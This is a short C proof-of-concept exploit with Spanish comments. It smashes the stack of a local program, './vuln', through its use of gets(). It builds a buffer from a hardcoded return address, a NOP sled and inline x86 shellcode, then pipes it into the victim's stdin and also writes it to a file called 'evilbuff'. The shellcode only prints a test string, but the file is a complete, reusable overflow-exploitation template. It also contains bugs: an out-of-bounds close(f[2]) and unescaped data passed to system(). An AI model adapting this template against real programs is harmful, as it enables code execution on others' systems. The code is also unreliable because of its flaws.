// Coded by Sha0
// Esta POC se la dedico a kaskade, el ya sabe porque ;)
// explota un simple gets()
//
// (gdb) handle SIGTRAP nostop
//
//

#include <unistd.h>
#include <signal.h>

#define BUFF_LEN 3000

void no_sigtrap (void) {
}

void shellcode (void) {
	__asm__ __volatile__ ("
		jmp vars	
	code:
		xorl %eax,%eax
		incl %eax
		movl %eax, %ebx  #ebx=1 descriptor
		incl %eax
		incl %eax
		incl %eax        #eax=4 syscall
		movl %eax, %edx
		incl %edx
		incl %edx
		incl %edx        #edx=7 bytes a transmitir
		popl %ecx        #ecx=puntero al string
		int $0x80	 #fire

		xorl %eax,%eax
		incl %eax
		xorl %ebx, %ebx
		int $0x80	 #exit
	vars:	
		call code
		.string \"PRUEBA\\0\"
	");
}

unsigned long get_top (void) {
	__asm__ ("movl %esp, %eax");
}


int main (void) {
	int f[2];
	unsigned long addr;
	char sys[2000], ret[4], *p;
	int i;
	char *code=(char *)malloc(BUFF_LEN);

	signal (SIGTRAP, (void *)no_sigtrap); //no me gusta los SIGTRAP
	
	p=(char *)shellcode+3; //para saltar el prolog
	printf ("Inyectando los siguientes opcodes:\n");
	while (*p) {
		printf ("0x%x\n",*((unsigned long *)p));
		p+=4;
	}
	printf ("\n");
	
	addr = 0xbffffdee; //get_top();

	ret[0] = (addr & 0x000000ff);
	ret[1] = (addr & 0x0000ff00) >> 8;
	ret[2] = (addr & 0x00ff0000) >> 16;
	ret[3] = (addr & 0xff000000) >> 24;

	bzero (code,BUFF_LEN);
	for (i=0;i<32;i+=4)
		memcpy (code+i,ret,4);

	memset (code+32,0x90,100);
	p=(char *)shellcode+3;	
	i=100;
	while (*p) {
		*(code+(i++)) = *(p++);
	}
		
	pipe (f);	
	printf ("xplt> bufflen: %d\n",strlen(code));
	if (!fork()) {
		close (f[2]);
		usleep (3000); //esperar que se carge el codigo victima
		snprintf (sys,sizeof(sys),"echo '%s' > evilbuff",code);
		system (sys);
		write (f[1],code,strlen(code)+4); 
	} else {
		setsid();
		dup2(f[0],0);
		close (f[1]);
		execl ("./vuln","./vuln",(void *)0x00);
	}
	return; //sin environments como en los viejos tiempos
}
